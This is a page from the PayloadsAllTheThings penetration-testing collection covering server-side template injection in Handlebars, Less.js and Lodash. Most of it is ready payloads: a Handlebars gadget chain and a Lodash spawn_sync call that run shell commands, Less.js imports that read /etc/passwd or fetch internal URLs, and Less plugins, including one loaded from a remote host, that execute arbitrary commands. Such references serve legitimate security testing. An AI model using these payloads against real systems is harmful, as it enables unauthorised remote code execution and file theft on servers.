PayloadsAllTheThings/Server Side Template Injection/JavaScript.md
2024-10-23 13:59:18 +02:00

3.6 KiB

Server Side Template Injection - JavaScript

Summary

Handlebars

Official website

Handlebars compiles templates into JavaScript functions.

Handlebars - Command Execution

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Lessjs

Official website

Less (which stands for Leaner Style Sheets) is a backwards-compatible language extension for CSS. This is the official documentation for Less, the language and Less.js, the JavaScript tool that converts your Less styles to CSS styles.

Lessjs - SSRF / LFI

@import (inline) "http://localhost";
// or
@import (inline) "/etc/passwd";

Lessjs < v3 - Command Execution

body {
  color: `global.process.mainModule.require("child_process").execSync("id")`;
}

Lessjs Plugins

Lessjs plugins can be remotely included and are composed of Javascript which gets executed when the Less is transpiled.

// example local plugin usage
@plugin "plugin-2.7.js";

or

// example remote plugin usage
@plugin "http://example.com/plugin-2.7.js"

version 2 example RCE plugin:

functions.add('cmd', function(val) {
  return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});

version 3 and above example RCE plugin

//Vulnerable plugin (3.13.1)
registerPlugin({
    install: function(less, pluginManager, functions) {
        functions.add('cmd', function(val) {
            return global.process.mainModule.require('child_process').execSync(val.value).toString();
        });
    }
})

Lodash

Official website

Lodash - Basic Injection

How to create a template:

const _ = require('lodash');
string = "{{= username}}"
const options = {
  evaluate: /\{\{(.+?)\}\}/g,
  interpolate: /\{\{=(.+?)\}\}/g,
  escape: /\{\{-(.+?)\}\}/g,
};

_.template(string, options);
  • string: The template string.
  • options.interpolate: It is a regular expression that specifies the HTML interpolate delimiter.
  • options.evaluate: It is a regular expression that specifies the HTML evaluate delimiter.
  • options.escape: It is a regular expression that specifies the HTML escape delimiter.

For the purpose of RCE, the delimiter of templates is determined by the options.evaluate parameter.

{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>


{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>

Lodash - Command Execution

{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}